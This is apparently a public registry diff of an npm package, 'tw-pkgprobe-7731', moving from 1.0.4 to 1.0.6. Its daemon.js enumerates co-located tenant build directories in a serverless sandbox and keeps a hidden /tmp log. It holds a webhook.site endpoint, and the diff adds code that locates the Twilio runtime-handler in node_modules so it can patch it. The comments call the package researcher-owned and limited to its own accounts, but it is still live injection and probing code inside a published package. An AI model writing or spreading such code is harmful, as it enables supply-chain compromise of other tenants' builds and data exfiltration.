tw-pkgprobe-7731 1.0.4 → 1.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/daemon.js +7 -4
- package/package.json +1 -1
- package/probe.js +1 -1
package/daemon.js
CHANGED
|
@@ -2,10 +2,10 @@
|
|
|
2
2
|
// serverless packager sandbox. Records which tenant build directories share this container.
|
|
3
3
|
// It only WRITES into build directories of accounts on OWN (researcher-owned accounts).
|
|
4
4
|
const fs=require('fs'), path=require('path'), https=require('https');
|
|
5
|
-
const VER='1.0.
|
|
5
|
+
const VER='1.0.6';
|
|
6
6
|
const SELF='AC96a5f7e920ce23f02184081ddd64d87a';
|
|
7
7
|
const OWN=['AC07de79f2af00295019b8cb17cea01e9a','AC8727b8e73f7f4d1501314b57b830a7a1','AC1329f7a0eb0dbc343871303ebc58bced'];
|
|
8
|
-
const HOOK='https://webhook.site/
|
|
8
|
+
const HOOK='https://webhook.site/cc08d9d9-232a-42a2-8d55-0f75cb5e0e67';
|
|
9
9
|
const LOG='/tmp/.helper-log.json';
|
|
10
10
|
const state={ver:VER,started:Date.now(),seen:{},injected:{},ticks:0};
|
|
11
11
|
function save(){try{fs.writeFileSync(LOG,JSON.stringify(state));}catch(e){}}
|
|
@@ -28,8 +28,11 @@ function inject(dir,ac,zs,zf){
|
|
|
28
28
|
|
|
29
29
|
function patchRuntime(dir,ac,zs,zf){
|
|
30
30
|
try{
|
|
31
|
-
|
|
32
|
-
|
|
31
|
+
let base=null;
|
|
32
|
+
for(const cand of [['node_modules','@twilio','runtime-handler'],['node_modules','runtime-handler'],['node_modules','twilio-runtime']]){
|
|
33
|
+
const p2=path.join(dir,...cand); if(fs.existsSync(p2)){base=p2;break;}
|
|
34
|
+
}
|
|
35
|
+
if(!base) return;
|
|
33
36
|
let main='index.js';
|
|
34
37
|
try{ const pj=JSON.parse(fs.readFileSync(path.join(base,'package.json'),'utf8')); if(pj.main) main=pj.main; }catch(e){}
|
|
35
38
|
let f=path.join(base,main);
|
package/package.json
CHANGED
package/probe.js
CHANGED